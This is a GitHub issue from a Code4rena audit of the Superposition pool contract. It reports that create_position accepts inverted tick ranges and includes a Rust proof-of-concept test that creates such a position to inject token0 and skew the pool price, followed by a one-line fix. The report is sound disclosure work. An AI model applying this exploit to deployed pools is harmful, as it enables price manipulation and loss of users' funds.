Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An attacker can create invalid positions to inflate a pool #59

Closed
howlbot-integration bot opened this issue Sep 16, 2024 · 2 comments
Closed

An attacker can create invalid positions to inflate a pool #59

howlbot-integration bot opened this issue Sep 16, 2024 · 2 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-149 🤖_02_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality

Comments

@howlbot-integration
Copy link

Lines of code

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/seawater/src/pool.rs#L75

Vulnerability details

Impact

It is possible to inflate a pool by creating a position with an invalid, inverted tick range. This can be abused to artificially change the pool price to the attacker's advantage.

Proof of Concept

It's possible to create a position that has a low tick higher than the low tick as there isn't a check to ensure so:

    pub fn create_position(&mut self, id: U256, low: i32, up: i32) -> Result<(), Revert> {
        assert_or!(self.enabled.get(), Error::PoolDisabled);
        let spacing = self.tick_spacing.get().sys() as i32;
        assert_or!(low % spacing == 0, Error::InvalidTickSpacing);
        assert_or!(up % spacing == 0, Error::InvalidTickSpacing);
        let spacing: u8 = spacing.try_into().map_err(|_| Error::InvalidTickSpacing)?;
        let min_tick = tick_math::get_min_tick(spacing);
        let max_tick = tick_math::get_max_tick(spacing);
        assert_or!(low >= min_tick && low <= max_tick, Error::InvalidTick);
        assert_or!(up >= min_tick && up <= max_tick, Error::InvalidTick);
->      // @audit no check for low < up, only boundaries are checked
        self.positions.new(id, low, up);
        Ok(())
    }

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/seawater/src/pool.rs#L75

An attacker can abuse this by creating positions that have inverted ticks, which doesn't make sense as it breaks the Uniswap math.

A potential scenario is that this could be abused to inflate the pool by only sending token0, as this branch will always be triggered regardless of the current tick.

    let (amount_0, amount_1) = if self.cur_tick.get().sys() < lower {
        #[cfg(feature = "testing-dbg")]
        dbg!((
            "update_position, cur_tick < lower path",
            lower,
            upper,
            tick_math::get_sqrt_ratio_at_tick(lower)?,
            tick_math::get_sqrt_ratio_at_tick(upper)?,
            self.sqrt_price.get(),
            delta
        ));

        // we're below the range, we need to move right, we'll need more token0
        (
            sqrt_price_math::get_amount_0_delta(
                tick_math::get_sqrt_ratio_at_tick(lower)?,
                tick_math::get_sqrt_ratio_at_tick(upper)?,
                delta,
            )?,
            I256::zero(),
        )
    }

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/seawater/src/pool.rs#L172-L193

As a result, this can be leveraged to influence the pool price to the attacker's advantage.

Run the following POC in pkg/seawater/tests/pools.rs:

    #[test]
    fn test_inverted_low_high() -> Result<(), Vec<u8>> {
        test_utils::with_storage::<_, StoragePool, _>(None, None, None, None, |storage| {
            storage.init(
                test_utils::encode_sqrt_price(100, 1), // price
                0,
                1,
                u128::MAX,
            )?;

            storage.enabled.set(true);

            let id = uint!(2_U256);
            //@audit create a position with correct ticks first
            storage
                .create_position(
                    id,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(50, 1))?,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(150, 1))?,
                )
                .unwrap();
            storage.update_position(id, 100)?;

            let id = uint!(3_U256);

            //@audit create a position with inverted ticks, up is lower than low tick
            storage
                .create_position(
                    id,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(150, 1))?,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(80, 1))?,
                )
                .unwrap();
            
            //@audit always triggers the "cur_tick < lower path" branch. The attacker can inject token0 indefinitely even if the pool doesn't need it, making it unbalanced
            assert_eq!(
                storage.update_position(id, 100),
                Ok((I256::unchecked_from(4), I256::unchecked_from(0))) 
            );

            storage.swap(
                true,
                I256::unchecked_from(-10),
                test_utils::encode_sqrt_price(60, 1),
            )?;

            storage.swap(
                false,
                I256::unchecked_from(-10000),
                test_utils::encode_sqrt_price(120, 1),
            )?;

            Ok(())
        })
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding the following check:

    pub fn create_position(&mut self, id: U256, low: i32, up: i32) -> Result<(), Revert> {
        assert_or!(self.enabled.get(), Error::PoolDisabled);
        let spacing = self.tick_spacing.get().sys() as i32;
        assert_or!(low % spacing == 0, Error::InvalidTickSpacing);
        assert_or!(up % spacing == 0, Error::InvalidTickSpacing);
        let spacing: u8 = spacing.try_into().map_err(|_| Error::InvalidTickSpacing)?;
        let min_tick = tick_math::get_min_tick(spacing);
        let max_tick = tick_math::get_max_tick(spacing);
        assert_or!(low >= min_tick && low <= max_tick, Error::InvalidTick);
        assert_or!(up >= min_tick && up <= max_tick, Error::InvalidTick);
+       assert_or!(low < up, Error::InvalidTick);
        self.positions.new(id, low, up);
        Ok(())
    }

Assessed type

Invalid Validation

@howlbot-integration howlbot-integration bot added 3 (High Risk) Assets can be stolen/lost/compromised directly 🤖_02_group AI based duplicate group recommendation bug Something isn't working primary issue Highest quality submission among a set of duplicates sufficient quality report This report is of sufficient quality labels Sep 16, 2024
howlbot-integration bot added a commit that referenced this issue Sep 16, 2024
@af-afk af-afk added the sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") label Sep 17, 2024
@c4-judge c4-judge added duplicate-149 and removed primary issue Highest quality submission among a set of duplicates labels Sep 23, 2024
@c4-judge
Copy link
Contributor

alex-ppg marked issue #149 as primary and marked this issue as a duplicate of 149

@c4-judge
Copy link
Contributor

alex-ppg marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Sep 23, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-149 🤖_02_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

2 participants